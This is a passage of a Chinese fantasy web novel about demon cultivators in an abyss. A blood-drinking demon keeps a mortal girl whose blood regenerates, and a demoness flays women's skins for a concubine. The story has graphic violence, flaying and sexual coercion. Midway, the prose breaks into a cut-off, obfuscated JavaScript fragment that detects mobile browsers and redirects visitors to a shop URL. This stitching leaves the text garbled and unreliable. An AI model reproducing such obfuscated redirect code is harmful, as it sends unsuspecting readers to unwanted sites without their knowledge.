“任务已顺利完成,血还热着呢,大人你尽情享用吧。” 七蛭暴戾不已,眼珠大得有些渗人,一字一句问:“谁给你的胆,竟然敢到牢洞里取血的?我可从来没说过。” 他低头看向三个还算膘肥的男子,以及那半桶人血,拼命忍着怒火。 主上特意给他下了一条规矩,就是牢中被关押的人奴,他都不能碰。 被他吸过血的人奴,干巴煮不烂,肉质柴,难以下咽,不能因他一个人断了大家的伙食。 如今虽然他没亲自下手,但没想到这个凡庸的女子竟然敢打着他的旗号,借势进入牢洞,此事便与他脱不了干系! “不论过程如何,达成结果便成。” 被他扼住脉搏的少女并不慌张。 “大人,您说过给我两日时间,命我完成取血任务,就留我性命,期限未至,我做到了。” 顺着陶蓉的目光,魔修扫过两个讳莫如深的门卫,明白此事是一定会传到主上耳中的。 他一噎,手上渐渐松了力道。 “行,我不杀你。” 杀她就算坐实了他忤逆主上的名号,太便宜她了。 以后留着慢慢折磨。 魔修耷拉着眼皮,他很少这么恼怒,面上无光还算其次,主要是还要去主上面前好生解释。 他脸色恢复如常,又成了一副苍白病态的死人脸。 “回吧,你可要好好活着,毕竟以后我会从你身上吸血饱腹。” 38. 转危 陶蓉被魔修丢回他的洞府。 “我不杀你,但还是那句话,我不会庇护你,往后的日子,你吃喝拉撒都得自己想办法,饿死了事小,要是冲撞了我头上那几尊大人物,再借谁的势也没用!” 陶蓉顺势躺在地上。 她疲倦得很,昏昏欲睡,眼皮子都在打架。 “在魔渊,你要是想活久一点,就小心翼翼行事,总之,不要再把我扯进去!” “你可听懂了?” “懂了。” 魔修拧眉,一低头便见瘫在地上的凡人摇头晃脑,就像躺在自己屋一样。 “你敢敷衍我?这是我的地盘,滚远点。” 凡人顿了一下,慢腾腾坐起,她脸部中央缠着布料,露出一双幽深眼眸来,下巴削尖,皮肤还是干瘪的,嘴唇毫无血色。 像是垂垂老矣被惊动驱赶的野犬,油尽灯枯,衰弱到连吠叫都提不起劲来,慢动作地走向墙角,随后懒懒躺下。 手臂交叠,蜷缩着身子枕在臂弯里,除了微微起伏的胸口,她像是已然悄无声息死在了角落。 “……” 魔修闭了嘴,这凡人看着快死了。 没劲。 他抬腿就往外走,急着赶去向主上请罪。 * 魔渊大魔头的洞府外,七蛭足足站了一夜。 洞府外堆放着人族和妖族的骷髅骸骨,骸骨上挤满着吱呀乱叫的老鸹。 通体乌黑的老鸹歪着鸟头,圆鼓鼓的漆瞳映射出魔修的缩影。 天色青白,昼夜交替,待七蛭被晾在外头,听了一夜的荒淫交.欢声后,一只老鸹展翅飞进魔窟。 没过多久,魔窟内传来一声浑厚嗓音,魔渊的领头人喊他进去问话。 七蛭咕咚咽了咽口水,不敢慢了动作,待他进去后,便见与小妾奋战了一夜的殷无痕关着膀子,从榻上起身。 “什么事?” 七蛭低着头,目光从主上身后仓忙穿上人皮外衣的女人身上收回。 少女一身淤青痕迹,姿色普通,肤色也有点麦黄,从别的女子身上扒下的人皮却白皙貌美。 殷无痕修炼的是吸.阴魔功,好色重欲,最爱美人,用废的炉鼎无数,身边能活命的,唯有这个披着人皮的小妾。 在整个魔渊,各处都有老鸹的鸟影,老鸹就是殷无痕的眼,任何事,几乎都瞒不过魔头。 所以七蛭赶着禀报,想必能从宽处理。 “那人奴的尸体呢?” 大魔头殷无痕披上外衣,说话间捏住了身后小妾的玉足。 “主上,念儿痒。” 只听一声娇嗔,披着貌美人皮的小妾颇为胆大的攀上殷无痕的肩。 这小妾原是凡人之身,骄纵无礼,不知出于何种缘由,殷无痕将她放在身边,很是纵容。 魔渊里没人看得起这小妾,但也没人敢正面触犯她。 七蛭本想偷偷将道观里俘获的小美人献给主上,得些好处,却被这女人中途拦截。 七蛭讪讪解释:“那人奴不知天高地厚,嚣张得很,属下想暂先留下一命,留着慢慢折磨。” “那人奴是男是女吗?”小妾翘起兰花指。 “是女人。” 小妾:“美不美?” 七蛭费解,回忆一番,“丑。” 小妾身子贴上殷无痕,娇滴滴说:“主上~七大人可没有对凡人手下留情过,这次怎么好端端心软了?” 女子的指尖在魔头胸膛画着圈,媚笑一声:“真奇怪。” 殷无痕打横将身后的小妾抱在怀里,看也不看底下的下属,随口下令。 “自去领罚,把那女的杀了。” * 魔渊许多魔众,身上躯体或多或少皮肉残缺,只剩白骨。 就如七蛭的右手,几年前就因为吸死十个人奴,被魔虫活活啃食掉皮肉。 得了教训后,这几年他安分守己,除了在外涉猎放肆几次,在魔渊饿得狠了,即便吸些兽血,都不敢动那些人奴。 这一次,他戴着两只骨臂,一身血气回到洞府。 女人枕边风的威力,他可算是见识到了。 他黑着脸回屋,便见陶蓉还在角落呼呼大睡。 这一夜过去,她不仅没死,反而脸色回转了点血色。 呼吸声不再微乎其微,反倒匀长安和。 “你倒是睡得舒坦。” 魔修胸闷不已,垂着那只骨趾滴血的左手,右手将人拎起。 “你们女人都可恨。” 力道收紧,凡人惊醒了。 陶蓉眼神极为困惑:“大人,我做错了什么?好端端的怎么又动起手呢?” 说完,她循着浓重的血味看向男魔落下的手。 袖子空荡荡的,下面吊着一只红色的骨掌。 没了皮肉,指骨细长,微微晃晃,配合着那锯齿状的指甲,真成了一把锐利武器。 不就是取了点血,至于扒皮剐肉? 魔修气得咬牙:“你说呢?” 陶蓉撇眉:“你说过不杀我。” 男魔嗤笑,哪个正经魔修会信守承诺? 只不过这凡人苦苦撑到现在,他有些惊异。 否则,就算答应了什么,眨眼间也能当做放屁撕毁。 “哼。” 男魔心底浮现杀机,可随之他嗅到了香甜的血气。 他眨了眨浮肿病态的眼睛,便见手上的凡人不知何时割伤了手掌。 “大人,你看,我恢复能力很强,血又养回来了。” 少女弯唇,抬起红艳艳的手,伤口较深,温柔的液体顷刻在掌心凝聚成小潭,从指缝中淌落。 少女脚边,落下一枚染血的尖锐扁石子。 “…这不可能。” 男魔怔怔睁大眼,他有幸吸食过仙门弟子,别说凡人,就算是修仙之人,也难以调理,撑不过多少时间。 更别说短时间恢复血气。 “你是什么人?说!” 嗜血魔修五指骤缩,魔气闪现,作出御敌状态。 “我只是个凡人,就是比旁人命硬。” “你想喝的血,我有得是。” 裹着层层棉布的少女无辜一笑,将手递了递,将“饭”递到男魔的嘴边,唆使道:“喝吧,也没多少,浪费了可不好。” “……”魔修抿唇,神情紧绷,飘忽的视线频频扫过凡人的手掌。 凡人生死他并不在乎,她体内享用不尽的血却在幽幽蛊惑他。 杀一个毫无修为的凡人,眨眼间的事。 但他突然有些舍不得了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010356|148158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 外面都是主上的魔鸦,眼线密布,但是那黑鸟一般不会飞进魔众的洞穴里。 若他将人一直藏在屋内,短时间,应该不会被察觉到。 他被魔虫吃了一只手,魔气都散了,不喝人血怎么疗养? 七蛭喉咙一滚,最终低头贪婪啜饮。 当腥甜热乎的鲜血滑入喉咙,他喟叹一声,吸过这么多的血,果然,还是不经污浊的女子之血最是美味! * 被吸过血的凡人皮肤又变得皱巴,甚至他按压过的手背,半天都没有回弹。 “……” 他将人松开。 凡人便和叶片一样,软软跌倒在地上。 她依旧没死,只是微张着眼,定眼看着他。 男魔不知道她在想什么,咽了咽口水,看向她手掌暴露出来的伤痕和手臂上的几处血洞。 他一尝到血,从不中断,只会将血吸干让自己得到满足为止。 这次自然也不例外,她手心上的血口子被他吮吸的皮肉外翻,伤口发白。 “我饿了。” 陶蓉张开嘴,嘴唇干涸,她盯着眼前观察自己的男魔,语气平直:“得吃肉。” 七蛭在魔渊生活了好些年头,第二次畏畏缩缩,偷偷摸摸。 第一次他偷吸人奴,没了一手皮肉。 这次,他被霍霍了另一只手。 他应该弄死的凡人,还藏在洞府里,要是被发现了,必是难逃其咎。 魔修觉得自己该折返回去,手起刀落,杀了那凡人。 可不管是牢洞那些人奴,还是主上提升修为的那些妖丹,有一半都是七蛭出力。 他对魔渊忠心这么久,没有功劳也有苦劳。 那凡人又不能危害魔渊,怎么就不能留给他当长期口粮呢? 嗜血魔修越想越亏。 他悄咪咪回了洞穴。 那凡人还有气无力躺在地上。 他把捏断脖子的鸟丢在她旁边。 “吃吧。” 陶蓉孱弱睁眼,看着眼前脚还歪着头的死鸟,大眼对小眼。 这么小?毛都没拔,怎么吃? 她又望向男魔。 男魔拉下黑袍帽,心虚看了一眼洞外,咕哝一句:“该死的鸟。” 她张了张嘴,试图唤醒这只魔的一丁点同理心。 “我没有力气。” “动不了。” 男魔坐在一旁冷眼旁观看了陶蓉很久,直到陶蓉开始回忆儿时吃的红薯粥,眼前也出了幻觉, 魔修才拉下脸,给她处理了鸟肉。 拔了毛,去了内脏,他将生的鸟腿肉塞进她嘴里。 “吃。” 陶蓉看着头顶黑漆漆的魔窟,嚼阿嚼,还是嚼不动。 她含着那根鸟腿,无声地看着魔修。 七蛭烦不胜烦:“快咽啊。” “……”她吐出鸟腿,已经不奢求这死魔头能帮她做点什么。 “你还是给我喝点水吧。” 后半夜,陶蓉手脚冰冷,很是难熬。 死不了,但是很难受。 她侧着身子盯着洞外,心里盘算着日子,想到了苏萤。 这魔窟可不是人能待的地方。 她要是被欺负了,又该怎么办呢? 39. 断尾 乌梅在魔渊排行第四,以采补阳气来延缓衰老。 她脸上又生细纹了。 命七蛭那小子帮她抓了三个男人来。 几日后,女人点燃新炼制的熏香。 穿着半.透的纱裙,摇曳生姿拨开床幔,舔了舔唇。 “三位小哥哥久等了,今夜奴家会让你们尝尝风.流快.活的滋味。” “毒妇,你别过来!不要啊!” 被五花大绑的男人们一直笼罩在死亡的阴霾下,像个蚯蚓似得扭动身躯,又惊又惧。 可当女魔缓缓褪下外衣,男人身体在侧避,眼神却像是被吸了魂。 “还是乖乖从了奴家吧~” 女人妖媚一笑,柔嫩双手解开男人的腰带。 男人们似怔忪似享受,瘫成一片。 乌梅活了三百余年,什么样的男人没玩过?捉弄心性不定的凡人,就如呼吸一样简单。 她俯下身来,正欲攫阳,身侧一个少年蓦然化为原形,往洞外逃窜。 是那个独眼残手的鼠妖。 种族下贱,血脉肮脏。 若不是看他皮白削瘦,生了一张雌雄莫辨的脸,乌梅可不愿下嘴。 “敢跑?” 女魔伸出五指,魅影重重,转瞬即逝闪至洞口,就要一把逮住那逃跑的耗子妖。 “师父!” 一女子提裙小跑进洞穴,那扑鼻而来的脂粉香,还有模仿她言行语态的“矫揉造作”,不用看,乌梅就知道是那主上的小妾又来了。 瞥向鼠妖眨眼消失不见的鼠妖,女魔低头无可奈何望着怀里的小妾室。 “又有什么事?” 乌梅叹了一口气。 若她最初没收一个凡人为徒,就不会有这些烦心事了。 “师父,我的皮又臭了。” 小妾仰着头,蹭着乌梅的柔软波涛上撒娇:“连调香都遮不住腐臭了,好师父,你快帮我再寻一副来吧。” 乌梅每隔三个月,需帮小妾扒一个女人的好皮囊来。 “这才不到两个月,你怎么就臭了?还没浸泡足就穿身上了吧?” 她牵着这丫头进洞,先嗅了嗅,随后手伸进丫头的后背将她的皮子剥开。 人皮缓缓脱落,貌美人皮下,是一张其貌不扬的面容。 小妾叫念儿。 根骨十六,年纪尚浅,只见人儿眼角下垂,脸色蜡黄,嘴唇很薄,有几分衰相。 身材未经发育,带着贫瘠的扁平。 她这样的人,别说长久留在主上身边侍奉,放在人堆里,也没人注意。 乌梅丹蔻指甲刮擦少女的脸颊。 她对诡术多有涉猎,从容色姣好之人身上剥来皮子,只这小妾极力央求她才答应的。 没想到她戴人皮上了瘾,一贯来唯唯诺诺的性子完全转变,反倒目无中人,鲜少再以真面目示人。 人皮腐烂易臭,乌梅总要为她去寻新的皮囊。 这种事,简直是亏本买卖。 那些被她扒皮的美貌女子,献给主上,她至少还能得些奖赏。 现在,她琢磨不透自己为何要接下这麻烦活。 她:“帮你那么多次已经足够,往后我不会再一次次顺着你。” 少女吓得嘴唇没了颜色。 “师父,念儿只能指望您了,您不帮念儿,主上一定会厌弃我的。” 念儿摇晃着女人的胳膊,这几年,若不是乌梅帮她,她不可能留在殷无痕身边讨他欢心。 这段日子,得益乌梅给她剥的比以往还要更艳丽的新人皮,所以她才能靠美色留住主上,夜夜受主人“宠爱”。 念儿:“好师父,求你了,再帮帮我。” “叫师父也没用,你去求别人吧。” 媚态横生的女魔双手抱臂,架腿倚坐,冷若无情。 她的目光瞥向洞外,又看了一眼床上不敢发出动静的两个凡间男子。 若不是这丫头打搅了她,她早就采阳结束。 可这么想着,少女却倏地搂紧了她。 蛮横的丫头眼中皆是慌张,像是被逼急了眼,拉着女魔修的手往自己的软腰放。 “乌梅,如果主上不要我,我会活不下去的。” “我也有阳气,你吸我的吧?留一口气儿就好,念儿不怕。” 女魔修全身僵硬,宛若一尊冰雕,看着眼前的少女声泪俱下,摒弃自尊。 乌梅记得,当初遇见这丫头的时候,她还是个丑汉的童养媳。 卑怯畏缩,含胸驼背,从来不敢看人眼睛。 而今奴颜媚.色,放低姿态悦纳旁人,什么都敢做。 女魔修推开少女,揉了揉额角:“我只帮你最后一次。” 念儿喜极而泣:“师父!我最喜欢你!” 乌梅冷哼,这小妾心里最喜欢的可只有男人。 “好了,你回去吧,我明日就动身,去替你物色新皮。” 她有些乏力,挥挥手,谁只少女摇摇头,诡秘一笑。 “师父,我最想要的皮囊就在那里~” 顺着少女指向的方向,女魔修皱眉。 那是关押着不少人奴的魔狱。 * 锦雏化为身量娇小的老鼠,刚逃出魔窟,却险些被头顶飞旋的黑鸦给叼走。 他躲躲藏藏,去感应陶蓉的所在地。 这几日,陶蓉那方状况危机,连带着鼠妖身上也出现了幻痛。 喉咙如火烧,全身血液像被抽干,他蜷缩着身子狂抽搐,就在他以为命不久矣之际,又缓了过来。 陶蓉若死了,他也得死。 锦雏悄无声息陶蓉所位于的魔窟,被洞门的禁制阻挡后,鼠妖选择绕后挖地洞。 陶蓉脸色苍白,病恹恹闭着眼。 她被突眼魔修吸过血,犹如被荼毒过一般,肉眼可见枯萎败落。 陶蓉需要静养几日,才有气力思虑别的事。 正混沌失神,谁知手上被小虫子咬了一下,如针扎的刺痛稍纵即逝。 她眼皮都没掀,若这种若有若无的疼痛做到忽略不计。 “主人” 陶蓉悠悠睁眼,便见手边的小老鼠支棱着脑袋,语调担忧。 “你没事吧?是那个魔族伤得你吗?” 陶蓉眉心微动,没有应声。 小老鼠话锋一转:“我现在尚无妖力救你出去,你可知道萤萤在哪?我想去了解一番她的状况。” 这才对味。 陶蓉遭的背叛和利用够多了。 怎会期望一个妖奴在意她的死活? 就算被关心,陶蓉第一反应也是不解和质疑。 如履薄冰活着的人,也并不需要这种毫无实际表现的假惺惺。 少女缠着脸,脖颈和手臂满是淤青牙印。 她扯动嘴角,露出一丝了然讥笑,随后有气无力从素戒中拿出了妖丹。 这些日子魔修的注意力都被陶蓉的血吸引,没发觉她戒指中就藏着狼妖的内丹。 “苏萤或许就在西边的魔窟里,那里关着一众凡人,你吸收了妖丹,把苏萤带出去。” 妖丹保留了狼妖的感情。 吃了狼妖内丹,锦雏必定会对苏萤忠心耿耿。 陶蓉睁着死水一般沉寂的眼眸望着头顶的石钟乳。 她想起什么,蓦地亮出磨尖的骨头剜开契约时没入她眉心的妖血。 一滴两滴……直至融合的血珠放干,将她的纱布染成深褐色,她才闭眼谩笑。 “我以为你成了魔女的禁.脔,没想到还能逃 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语气上扬,听不出杀意,陶蓉那样在夹缝中都要求生存向上爬的女人,死不了的。 锦雏速度飞快,朝西边遁走。 * 魔修七蛭这些日子吃饱喝足,魔力也精进了不少。 他将这一切都归功于陶蓉的处.子之血。 魔修捉了野兔,剥皮处理后,经过了一番简易炙烤。 凡人挑剔得很,咬不动生肉,勉强咽下几块肉半夜便吐了一地。 要不是看她疼得打颤,短短几日瘦成皮包骨,他不会一再让步。 “吃吧。” 青年男魔戴着皮质手套的手撕开烤熟的腿肉,喂到凡人嘴边,态度还算客气,可没多久,他嗅到空中血腥味里裹挟着一丝妖气。 低头,凡人的眉心都是血,手上则印着一个并非他留下的细小伤口。 “刚刚有妖来了?你们趁我不在做了什么?” 男魔一瞬警觉,猛晃地上假寐装死的凡人:“他是不是想带你逃跑?” 陶蓉本就晕沉,被他拎起来急急摇晃,支撑脑袋的力气都没有,随着男魔的动作头前后左右歪垂。 “很晕。”乌黑鬓发散落在脸上,少女眯着眼,蹙着眉,语气怨惆。 男魔脸都青了,故意将肉丢在地上。 他转眼搜寻,表情渗人:“妖呢?躲哪去了?” “你信不信我杀了你……” “是一只鼠妖,我对他有恩,他想带我逃走,但是我拒绝了。” 陶蓉唇角微翘,忍着不适哂笑:“欸,我诚心诚意为你献出血液,可你总想杀我,小的还不如跟着鼠妖尽早逃跑呢。” “鼠妖?”男魔若有所思:“那你为何不跑?” “鼠妖太弱,这里守卫森严,和他逃命我才是死路一条。” “况且我适合待在这里。” 魔族杀人放火,无恶不作,没有底线,不讲功德,与他们为伍,宾至如归。 陶蓉撩起眼皮,历经大大小小的摧折,且常常低头仰目视人,以至于她的上部分眼瞳被眼皮遮掩。 澈亮的瞳仁失了灵韵,没有丝毫光芒。 每每抬眸,杏眼趋于凌厉又冷薄的三白眼,没有情绪波动。 这世上,只要能变强,修仙还是入魔,有何不同? 让锦雏去营救苏萤离开,陶蓉只是想亲自断了自己修仙的念想。 不管二人是否能逃出生天,都和她无关。 “七蛭大人,您有没有在凡人身上试炼过,若让她成为魔修,会不会比那些普通魔族还要强?”